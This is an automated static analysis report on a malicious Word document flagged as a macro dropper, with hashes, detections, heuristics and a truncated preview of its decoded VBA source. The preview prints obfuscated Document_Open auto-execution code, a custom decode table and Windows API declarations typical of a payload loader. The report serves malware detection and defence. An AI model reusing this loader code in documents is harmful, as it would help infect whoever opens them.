Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e4984fb2fb373ff4…

MALICIOUS

Office (OLE)

188.5 KB Created: 2017-10-26 12:52:00 Authoring application: Microsoft Office Word First seen: 2017-10-28
MD5: 1621f341e058349973f8d71a3242dd9a SHA-1: 1f9d7ff6562a433282aade6ec78523c5109606e2 SHA-256: e4984fb2fb373ff4ceaf3f6cc40dbfdb092a03df8a58f123136761e821c0cc99
162 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file is an Office document containing a VBA macro that is automatically executed upon opening (Document_Open macro). The macro's code is obfuscated and appears to be designed to download and execute a secondary payload. The ClamAV detection 'Doc.Dropper.Agent-6357884-0' further supports this dropper functionality.

Heuristics 5

  • ClamAV: Doc.Dropper.Agent-6357884-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6357884-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ns.adobe.com/xap/1.0/ In document text (OLE body)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
    • http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 41417 bytes
SHA-256: 17ac33e1653e8caa3c59f09a97ecfc140961c3157dd35bfafbda30d748c79c39
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True





Sub eloquence()
Dim montserration As String
Dim pampering As String
goodkinghenry.scathful.Value = Day(#12/5/2013#)
varday = verjuice = echinops
abraham = "smuggler"
corpore = "spurs"
aphyllanthes = "antimicrobial"
ballistic = "argot"

mayan = "bessera"
zephyrs = archduchy
Set liein = goodkinghenry.scathful.SelectedItem
archdukedom = 3
dioxide = 16560
cytoplasm = 167535
 Pmt 0, archdukedom, 27926, 18331, 3

unwholesome = liein.Name
forces = 65 - 63 + 7842
campaniform = Right(unwholesome, forces)
hel = pompos.abelia(campaniform)
escritoire = 96
exophagy = 14173
racerunner = 360819
 Pmt 0, escritoire, 20888, 39613, 5

sirkar = "guardianship"
#If (8 * 2 + 5) > (7 - 2 * 1) And (21 - 7 * 3) * 2 < (Win64) Then
Dim chelate As String
Dim intercommunion As LongPtr
Dim nothofagus As LongPtr
Dim lividity As Variant
#End If
#If (8 * 2 + 5) > (7 - 2 * 1) And Not (21 - 7 * 3) * 2 < (Win64) Then
Dim madid As Long
Dim nothofagus As Long
Dim jetting As Byte
Dim intercommunion As Long
#End If
pertinence = 14 - 18 + 4
jonquil = "cohere"
plagiarize = "sansculottes"
gale = 52 - 68 + 4112
amenorrhea = 102
ataractic = 27272
astacus = 288492
 Pmt 0, amenorrhea, 5571, 50973, 3

aghan = excalibur
tibicen = "feverfew"
acathexis = melanotis
casebook = 65
mandatary = 7593
taut = 569056
 Pmt 0, casebook, 13470, 48997, 7

articles = hel
concentrated = "eskimoaleut"
bent = "phlomis"
intercommunion = fifos.caress(articles)
aphididae = "codger"
prose = "tectonics"
#If (3 * 4 + 5) > (5 - 2 * 1) And (8 - 4 * 2) * 2 < (Win64) Then
Dim aborad As String
Dim equisetum As LongPtr
Dim regards As LongPtr
Dim airmail As LongPtr
farflung = 113 - 70 + 2021
#End If
#If (8 * 2 + 5) > (7 - 2 * 1) And Not (21 - 7 * 3) * 2 < (Win64) Then
Dim equisetum As Long
corbeille = 114 - 118 + 785
Dim regards As Long
Dim airmail As Long
farflung = corbeille + 3459

#End If
Dim butacaine As Integer
Dim flowage As String
equisetum = 66 - 7 - 59
nothofagus = intercommunion + farflung
regards = 72 - 77 + 201532
airmail = 20 - 90 + 3570
miwok = chimneystack(regards, equisetum, nothofagus, equisetum, equisetum, equisetum, equisetum)
machiavelian = 120
awry = 37172
spavin = 504175
 Pmt 0, machiavelian, 22968, 35841, 4

End Sub

Private Sub Document_Open()
Dim ruddy As String
Dim acinonyx As String
vandal = "battue"
briefly = "cutcherry"
eloquence
expediently = 110 + 4
anoxemia = 13900 + 1
cavaliere = 205450 + 3
 Pmt 0, expediently, 39794, 19857, 5
End Sub


Attribute VB_Name = "maggoty"
Function exploration()
Dim adjustment(255) As Byte
nepenthaceae = 102 - 54 + 17
Do While nepenthaceae <= 90 + 1
adjustment(nepenthaceae) = nepenthaceae - 65
nepenthaceae = nepenthaceae + 1
Loop
nepenthaceae = 48
Do While nepenthaceae <= 50 + 8
adjustment(nepenthaceae) = nepenthaceae + 4
nepenthaceae = nepenthaceae + 1
Loop
nepenthaceae = 97
Do While nepenthaceae <= 120 + 3
adjustment(nepenthaceae) = nepenthaceae - 71
nepenthaceae = nepenthaceae + 1
Loop
adjustment(47) = 63
nepenthaceae = 43
adjustment(nepenthaceae) = 60 + 2
exploration = adjustment
End Function


Attribute VB_Name = "goodkinghenry"
Attribute VB_Base = "0{3CAE672C-7924-4EC5-94B4-B3D38609C19B}{37CA9EFC-F940-4287-975A-7CEFB3535807}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "fifos"
#If (9 * 3 + 5) > (8 - 3 * 1) And (Win64) > (28 - 7 * 4) * 2 Then
Public Declare PtrSafe Function daeva Lib "Shlwapi.dll  " Alias _
"SleepConditionVariableSRW" (ByVal verre As Any, admonition As Any, marooned As Any, aphyllanthaceae As Any) As LongPtr
Public De
... (truncated)

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